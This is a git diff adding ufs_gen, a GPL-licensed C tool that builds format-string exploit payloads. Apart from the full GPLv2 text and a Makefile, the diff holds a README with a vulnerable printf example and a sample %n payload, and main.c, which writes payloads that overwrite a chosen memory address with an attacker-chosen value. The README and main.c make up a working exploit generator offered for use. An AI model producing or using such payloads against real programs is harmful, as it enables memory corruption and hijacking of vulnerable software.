diff options
| -rw-r--r-- | COPYING | 339 | ||||
| -rw-r--r-- | Makefile | 46 | ||||
| -rw-r--r-- | README | 51 | ||||
| -rw-r--r-- | main.c | 203 |
4 files changed, 639 insertions, 0 deletions
@@ -0,0 +1,339 @@ +GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/> + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. 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Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. 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The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..f22b215 --- /dev/null +++ b/Makefile @@ -0,0 +1,46 @@ +## Copyright (C) 2014 Olivier Gayot +## +## This program is free software; you can redistribute it and/or modify +## it under the terms of the GNU General Public License as published by +## the Free Software Foundation; either version 2 of the License, or +## (at your option) any later version. +## +## This program is distributed in the hope that it will be useful, +## but WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +## GNU General Public License for more details. +## +## You should have received a copy of the GNU General Public License along +## with this program; if not, write to the Free Software Foundation, Inc., +## 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +CC ?= gcc +CFLAGS += -W -Wall -std=gnu99 -Wextra +LDFLAGS += +NAME = ufs_gen +SRC = main.c + +all: depend $(NAME) + +depend: .depend + +.depend: $(SRC) + @$(RM) .depend + @$(CC) $(CFLAGS) -MM $^ > .depend + +include .depend + +OBJ = $(SRC:.c=.o) + +$(NAME): $(OBJ) + $(CC) -o $@ $^ $(LDFLAGS) + +clean: + $(RM) $(OBJ) + +fclean: clean + $(RM) $(NAME) + +re: fclean all + +.PHONY: all depend clean fclean all re @@ -0,0 +1,51 @@ +ufs_gen +======= + +This software allows you to generate a payload which may override an address +with the value of your choice. + +The syntax is quite simple: + +There are three parameters needed for the program to run correctly. + +stackidx: this parameter specifies how many dwords you need to access the +beginning of your buffer (or payload). + +override: the address to override + +with: the value to inject at the address overriden + +This software is intended to work with an ELF32 generated by a typical code. + +example: + +int function(const char *payload) +{ + char buffer[BUFSIZ]; + + strncpy(buffer, payload, sizeof(buffer)); + buffer[sizeof(buffer) - 1] = '\0'; + + printf(buffer); + + return 0; +} + +The support of ELF64 and other formats is intended but not written yet. +Although the option 'addrsize' might already be used to specify if an address +is not 4 bytes long, there is very few chances that it would work correctly. + +The support of printf(payload) directly (i.e. without a temporary buffer) is +also planned. + +Example +======= + +user@localhost$ ./ufs_gen --override 0x11223344 --with 0x55667788 --stackidx 4 +D3"E3"F3"G3"%120x%4$n%239x%5$n%239x%6$n%239x%7$n + +License +======= + +This software is free software covered by the GPL license v2. You should +read the COPYING file to understand what is implied. @@ -0,0 +1,203 @@ +/* + * Copyright (C) 2014 Olivier Gayot + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include <assert.h> +#include <stdbool.h> +#include <stdlib.h> +#include <string.h> +#include <sysexits.h> +#include <stdio.h> +#include <getopt.h> + +unsigned char buffer[4096]; + +/* address to override */ +static unsigned long override_addr_g; + +/* address to jump to */ +static unsigned long jmp_addr_g; + +/* index of the element on the stack which is the beginning of the buffer */ +static unsigned int idx_stack_g; + +/* assume that an address is 'address_size_g' bytes long */ +static int address_size_g = 4; + + __attribute__((noreturn)) +static void usage(const char *arg0) +{ + fprintf(stderr, "usage: %s --override addr --with addr --stackidx idx\n", arg0); + fprintf(stderr, " %s --override addr --with addr --stackidx idx --addrsize size\n", arg0); + + exit(EX_USAGE); +} + +/* + * this function uses getopt to parse the options. + * it returns 0 on success; otherwise it returns a negative number + */ +static int parse_arguments(int argc, char *argv[]) +{ + bool override_set = false; + bool stackidx_set = false; + bool with_set = false; + + for (;;) { + /* declaration of the options which we handle */ + enum { + OPT_OVERRIDE, + OPT_WITH, + OPT_STACKIDX, + OPT_ADDR_SIZE, + }; + + static struct option long_options[] = { + {"override", required_argument, 0, OPT_OVERRIDE}, + {"with", required_argument, 0, OPT_WITH}, + {"stackidx", required_argument, 0, OPT_STACKIDX}, + {"addrsize", required_argument, 0, OPT_ADDR_SIZE}, + }; + + int option_index; + int c = getopt_long(argc, argv, "", long_options, &option_index); + + if (c == -1) { + break; + } + + switch (c) { + case OPT_OVERRIDE: + override_addr_g = strtoul(optarg, NULL, 16); + override_set = true; + break; + case OPT_WITH: + jmp_addr_g = strtoul(optarg, NULL, 16); + with_set = true; + break; + case OPT_STACKIDX: + idx_stack_g = atoi(optarg); + stackidx_set = true; + break; + case OPT_ADDR_SIZE: + address_size_g = atoi(optarg); + + if (address_size_g < 1 || address_size_g > 8) { + return -1; + } + + break; + default: + /* + * we must have accessed an option which we do not have + * specified in our switch-case + */ + + assert (false); + + break; + } + } + + if (optind < argc) { + return -1; + } + + if (!override_set || !stackidx_set || !with_set) { + return -1; + } + + return 0; +} + +/* + * this function returns the number of remaining bytes to write in order to + * have a %n printing the expected value + */ +static int calc_remaining(unsigned int needed, unsigned int *so_far) +{ + int ret; + + assert(needed <= 0xff); + + if (needed >= (*so_far % 0x100)) { + ret = needed - (*so_far % 0x100); + } else { + ret = 0x100 - ((*so_far % 0x100) - needed); + } + + *so_far += ret; + + return ret; +} + +int main(int argc, char *argv[]) +{ +#define PUT_ADDR(_offset) \ + do { \ + typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \ + \ + for (int sh = 0; sh < address_size_g; ++sh) { \ + for (int shift = 0; shift < address_size_g; ++shift) { \ + buffer[i++] = (override_addr >> (shift * 8)) & 0xff; \ + ++written; \ + } \ + ++override_addr; \ + } \ + } while (0); + + unsigned int i = 0; + unsigned int written = 0; + unsigned int values_pop = 0; + + if (parse_arguments(argc, argv) < 0) { + usage(argv[0]); + } + + PUT_ADDR(0); + + /* override the address */ + for (int shift = 0; shift < address_size_g; ++shift) { + int remaining; + + if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) { + memcpy(buffer + i, "ffffffff", remaining); + i += remaining; + } else { + i += sprintf((char *)buffer + i, "%%%dx", remaining); + ++values_pop; + } + + if (values_pop == idx_stack_g) { + /* (very) unlikely */ + + i += sprintf((char *)buffer + i, "%%n"); + ++values_pop; + } else { + i += sprintf((char *)buffer + i, "%%%d$n", idx_stack_g); + } + + ++idx_stack_g; + } + + /* we write our payload */ + fwrite(buffer, 1, i, stdout); + + return 0; + +#undef PUT_ADDR +} |